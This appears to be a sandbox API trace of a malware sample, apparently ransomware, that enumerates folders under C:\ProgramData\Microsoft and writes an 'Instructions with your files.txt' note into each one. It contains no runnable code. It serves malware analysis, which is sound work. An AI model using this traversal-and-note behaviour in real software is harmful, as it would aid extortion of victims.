[0121.009] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 1
[0121.009] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll") returned 52
[0121.010] StrStrIW (lpFirst="ppcrlui.dll", lpSrch="SDfghjkl") returned 0x0
[0121.010] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 0
[0121.010] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\Instructions with your files.txt") returned 73
[0121.010] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\identitycrl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0121.015] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0121.015] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0121.016] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0121.016] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0121.016] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0121.016] CloseHandle (hObject=0x10c) returned 1
[0121.016] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0121.016] GetProcessHeap () returned 0x810000
[0121.016] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0121.016] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1
[0121.016] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Media Player") returned 41
[0121.016] GetProcessHeap () returned 0x810000
[0121.016] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0121.016] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Media Player\\*") returned 43
[0121.016] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Media Player\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0121.016] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Media Player\\.") returned 43
[0121.016] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0121.016] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Media Player\\..") returned 44
[0121.017] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0121.017] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Media Player\\Instructions with your files.txt") returned 74
[0121.017] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Media Player\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\media player\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0121.418] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0121.419] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0121.419] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0121.419] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0121.419] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0121.419] CloseHandle (hObject=0x10c) returned 1
[0121.419] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0121.419] GetProcessHeap () returned 0x810000
[0121.419] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0121.419] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1
[0121.419] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MF") returned 31
[0121.419] GetProcessHeap () returned 0x810000
[0121.419] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0121.419] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\*") returned 33
[0121.419] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0121.420] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\.") returned 33
[0121.420] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0121.420] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\..") returned 34
[0121.420] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Active.GRL", cAlternateFileName="")) returned 1
[0121.420] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\Active.GRL") returned 42
[0121.420] StrStrIW (lpFirst="Active.GRL", lpSrch="SDfghjkl") returned 0x0
[0121.420] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 1
[0121.420] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\Pending.GRL") returned 43
[0121.420] StrStrIW (lpFirst="Pending.GRL", lpSrch="SDfghjkl") returned 0x0
[0121.420] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 0
[0121.420] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\Instructions with your files.txt") returned 64
[0121.420] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\mf\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0121.420] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0121.421] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0121.421] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0121.421] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0121.421] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0121.421] CloseHandle (hObject=0x10c) returned 1
[0121.422] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0121.422] GetProcessHeap () returned 0x810000
[0121.422] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0121.422] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSDN", cAlternateFileName="")) returned 1
[0121.422] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN") returned 33
[0121.422] GetProcessHeap () returned 0x810000
[0121.422] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0121.422] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\*") returned 35
[0121.422] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0121.425] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\.") returned 35
[0121.425] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0121.425] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\..") returned 36
[0121.425] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.0", cAlternateFileName="")) returned 1
[0121.425] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\8.0") returned 37
[0121.425] GetProcessHeap () returned 0x810000
[0121.425] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0121.425] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\8.0\\*") returned 39
[0121.425] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\8.0\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0121.427] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\8.0\\.") returned 39
[0121.427] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0121.427] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\8.0\\..") returned 40
[0121.427] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0121.427] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\8.0\\Instructions with your files.txt") returned 70
[0121.427] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\8.0\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\msdn\\8.0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0121.427] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0121.428] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0121.428] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0121.428] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0121.428] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0121.428] CloseHandle (hObject=0x110) returned 1
[0121.428] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0121.429] GetProcessHeap () returned 0x810000
[0121.429] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0121.429] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.0", cAlternateFileName="")) returned 0
[0121.429] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\Instructions with your files.txt") returned 66
[0121.429] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\msdn\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0121.434] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0121.434] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0121.435] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0121.435] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0121.435] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0121.435] CloseHandle (hObject=0x10c) returned 1
[0121.435] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0121.435] GetProcessHeap () returned 0x810000
[0121.435] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0121.435] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1
